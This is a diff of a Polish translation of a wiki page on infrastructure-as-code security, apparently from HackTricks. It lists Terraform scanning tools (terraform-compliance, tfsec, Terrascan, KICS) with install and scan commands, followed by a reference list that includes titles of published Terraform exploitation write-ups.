+Z [**docs**](https://github.com/terraform-compliance/cli): `terraform-compliance` to lekki framework testowy skoncentrowany na bezpieczeństwie i zgodności dla terraform, umożliwiający przeprowadzanie testów negatywnych dla twojej infrastruktury jako kodu.
-- **zgodność:** Upewnij się, że wdrożony kod przestrzega standardów bezpieczeństwa oraz twoich własnych standardów
-- **rozwój oparty na zachowaniu:** Mamy BDD prawie dla wszystkiego, dlaczego nie dla IaC?
-- **przenośny:** wystarczy zainstalować go z `pip` lub uruchomić za pomocą `docker`. Zobacz [Instalacja](https://terraform-compliance.com/pages/installation/)
-- **przed wdrożeniem:** waliduje twój kod przed jego wdrożeniem
-- **łatwy do zintegrowania:** może działać w twoim pipeline (lub w git hooks), aby upewnić się, że wszystkie wdrożenia są walidowane.
-- **podział obowiązków:** możesz przechowywać swoje testy w innym repozytorium, gdzie odpowiedzialny jest oddzielny zespół.
+- **compliance:** Zapewnia, że zaimplementowany kod przestrzega standardów bezpieczeństwa oraz twoich własnych, niestandardowych standardów
+- **behaviour driven development:** Mamy BDD prawie do wszystkiego, dlaczego nie dla IaC?
+- **portable:** wystarczy zainstalować z `pip` lub uruchomić przez `docker`. Zobacz [Installation](https://terraform-compliance.com/pages/installation/)
+- **pre-deploy:** waliduje twój kod przed jego wdrożeniem
+- **easy to integrate:** może uruchamiać się w twoim pipeline (lub w git hooks), aby upewnić się, że wszystkie wdrożenia są walidowane.
+- **segregation of duty:** możesz przechowywać swoje testy w innym repozytorium, za które odpowiada odrębny zespół.
> [!NOTE]
-> Niestety, jeśli kod korzysta z niektórych dostawców, do których nie masz dostępu, nie będziesz mógł wykonać `terraform plan` i uruchomić tego narzędzia.
+> Niestety, jeśli kod używa providerów, do których nie masz dostępu, nie będziesz w stanie wykonać `terraform plan` i uruchomić tego narzędzia.
```bash
pip install terraform-compliance
terraform plan -out=plan.out
@@ -322,57 +348,70 @@ terraform-compliance -f /path/to/folder
```
### [tfsec](https://github.com/aquasecurity/tfsec)
-Z [**dokumentacji**](https://github.com/aquasecurity/tfsec): tfsec wykorzystuje analizę statyczną twojego kodu terraform, aby wykryć potencjalne błędy konfiguracyjne.
+From the [**docs**](https://github.com/aquasecurity/tfsec): tfsec uses static analysis of your terraform code to spot potential misconfigurations.
-- ☁️ Sprawdza błędy konfiguracyjne we wszystkich głównych (i niektórych mniejszych) dostawcach chmury
+- ☁️ Sprawdza błędy konfiguracji u wszystkich głównych (i niektórych mniejszych) dostawców chmury
- ⛔ Setki wbudowanych reguł
- 🪆 Skanuje moduły (lokalne i zdalne)
-- ➕ Ocenia wyrażenia HCL oraz wartości dosłowne
-- ↪️ Ocenia funkcje Terraform, np. `concat()`
-- 🔗 Ocenia relacje między zasobami Terraform
+- ➕ Oceni wyrażenia HCL oraz wartości literalne
+- ↪️ Oceni funkcje Terraform, np. `concat()`
+- 🔗 Oceni zależności między zasobami Terraform
- 🧰 Kompatybilny z Terraform CDK
-- 🙅 Zastosowuje (i upiększa) zdefiniowane przez użytkownika polityki Rego
-- 📃 Obsługuje wiele formatów wyjściowych: piękny (domyślny), JSON, SARIF, CSV, CheckStyle, JUnit, tekst, Gif.
-- 🛠️ Konfigurowalny (za pomocą flag CLI i/lub pliku konfiguracyjnego)
-- ⚡ Bardzo szybki, zdolny do szybkiego skanowania ogromnych repozytoriów
+- 🙅 Stosuje (i rozszerza) zdefiniowane przez użytkownika polityki Rego
+- 📃 Obsługuje wiele formatów wyjściowych: lovely (domyślny), JSON, SARIF, CSV, CheckStyle, JUnit, text, Gif.
+- 🛠️ Konfigurowalny (poprzez flagi CLI i/lub plik konfiguracyjny)
+- ⚡ Bardzo szybki — potrafi skanować ogromne repozytoria w krótkim czasie
```bash
brew install tfsec
tfsec /path/to/folder
```
+### [terrascan](https://github.com/tenable/terrascan)
+
+Terrascan to statyczny analizator kodu dla Infrastructure as Code. Terrascan umożliwia:
+
+- Bezproblemowe skanowanie Infrastructure as Code pod kątem nieprawidłowych konfiguracji.
+- Monitorowanie udostępnionej infrastruktury w chmurze pod kątem zmian konfiguracji wprowadzających odchylenia stanu zabezpieczeń (posture drift) oraz umożliwienie przywrócenia bezpiecznego stanu.
+- Wykrywanie podatności i naruszeń zgodności.
+- Redukcję ryzyka przed wdrożeniem natywnej infrastruktury w chmurze.
+- Oferuje elastyczność uruchamiania lokalnie lub integracji z CI\CD.
+```bash
+brew install terrascan
+terrascan scan -d /path/to/folder
+```
### [KICKS](https://github.com/Checkmarx/kics)
-Znajdź luki w zabezpieczeniach, problemy z zgodnością i błędy w konfiguracji infrastruktury na wczesnym etapie cyklu rozwoju swojej infrastruktury jako kodu z **KICS** od Checkmarx.
+Znajdź luki w zabezpieczeniach, problemy ze zgodnością i nieprawidłowe konfiguracje infrastruktury na wczesnym etapie cyklu rozwoju infrastruktury jako kodu za pomocą **KICS** od Checkmarx.
-**KICS** oznacza **K**eeping **I**nfrastructure as **C**ode **S**ecure, jest to projekt open source i jest niezbędny w każdym projekcie natywnym w chmurze.
+**KICS** oznacza **K**eeping **I**nfrastructure as **C**ode **S**ecure, jest open source i jest niezbędny dla każdego projektu cloud native.
```bash
docker run -t -v $(pwd):/path checkmarx/kics:latest scan -p /path -o "/path/"
```
### [Terrascan](https://github.com/tenable/terrascan)
-Z [**dokumentacji**](https://github.com/tenable/terrascan): Terrascan to statyczny analizator kodu dla Infrastruktury jako Kod. Terrascan pozwala na:
+Z [**docs**](https://github.com/tenable/terrascan): Terrascan to statyczny analizator kodu dla Infrastructure as Code. Terrascan pozwala na:
-- Bezproblemowe skanowanie infrastruktury jako kod w poszukiwaniu błędnych konfiguracji.
-- Monitorowanie dostarczonej infrastruktury chmurowej w celu wykrywania zmian w konfiguracji, które wprowadzają odchylenia w postawie, oraz umożliwia powrót do bezpiecznej postawy.
-- Wykrywanie luk w zabezpieczeniach i naruszeń zgodności.
-- Łagodzenie ryzyk przed dostarczeniem natywnej infrastruktury chmurowej.
-- Oferuje elastyczność uruchamiania lokalnie lub integracji z CI\CD.
+- Bezproblemowe skanowanie Infrastructure as Code w poszukiwaniu nieprawidłowych konfiguracji.
+- Monitorowanie provisioned cloud infrastructure pod kątem zmian konfiguracji powodujących posture drift oraz możliwość przywrócenia bezpiecznego stanu.
+- Wykrywanie podatności bezpieczeństwa i naruszeń zgodności.
+- Łagodzenie ryzyka przed provisioning cloud native infrastructure.
+- Zapewnia elastyczność uruchamiania lokalnie lub integracji z CI\CD.
```bash
brew install terrascan
```
-## Odniesienia
+## Źródła
- [Atlantis Security](atlantis-security.md)
- [https://alex.kaskaso.li/post/terraform-plan-rce](https://alex.kaskaso.li/post/terraform-plan-rce)
- [https://developer.hashicorp.com/terraform/intro](https://developer.hashicorp.com/terraform/intro)
- [https://blog.plerion.com/hacking-terraform-state-privilege-escalation/](https://blog.plerion.com/hacking-terraform-state-privilege-escalation/)
- [https://github.com/offensive-actions/terraform-provider-statefile-rce](https://github.com/offensive-actions/terraform-provider-statefile-rce)
-- [Terraform Cloud token abuse turns speculative plan into remote code execution](https://www.pentestpartners.com/security-blog/terraform-token-abuse-speculative-plan/)
-- [Terraform Cloud permissions](https://developer.hashicorp.com/terraform/cloud-docs/users-teams-organizations/permissions)
+- [Terraform Cloud – nadużycie tokena zamieniające speculative plan w remote code execution](https://www.pentestpartners.com/security-blog/terraform-token-abuse-speculative-plan/)
+- [Uprawnienia Terraform Cloud](https://developer.hashicorp.com/terraform/cloud-docs/users-teams-organizations/permissions)
- [Terraform Cloud API – Show workspace](https://developer.hashicorp.com/terraform/cloud-docs/api-docs/workspaces#show-workspace)
-- [AWS provider configuration](https://registry.terraform.io/providers/hashicorp/aws/latest/docs#provider-configuration)
+- [Konfiguracja providera AWS](https://registry.terraform.io/providers/hashicorp/aws/latest/docs#provider-configuration)
- [AWS CLI – OIDC role assumption](https://docs.aws.amazon.com/cli/latest/userguide/cli-configure-role.html#cli-configure-role-oidc)
-- [GCP provider – Using Terraform Cloud](https://registry.terraform.io/providers/hashicorp/google/latest/docs/guides/provider_reference.html#using-terraform-cloud)
-- [Terraform – Sensitive variables](https://developer.hashicorp.com/terraform/tutorials/configuration-language/sensitive-variables)
-- [Snyk Labs – Gitflops: dangers of Terraform automation platforms](https://labs.snyk.io/resources/gitflops-dangers-of-terraform-automation-platforms/)
+- [GCP provider – Korzystanie z Terraform Cloud](https://registry.terraform.io/providers/hashicorp/google/latest/docs/guides/provider_reference.html#using-terraform-cloud)
+- [Terraform – Zmienne wrażliwe](https://developer.hashicorp.com/terraform/tutorials/configuration-language/sensitive-variables)
+- [Snyk Labs – Gitflops: zagrożenia platform automatyzacji Terraform](https://labs.snyk.io/resources/gitflops-dangers-of-terraform-automation-platforms/)
{{#include ../banners/hacktricks-training.md}}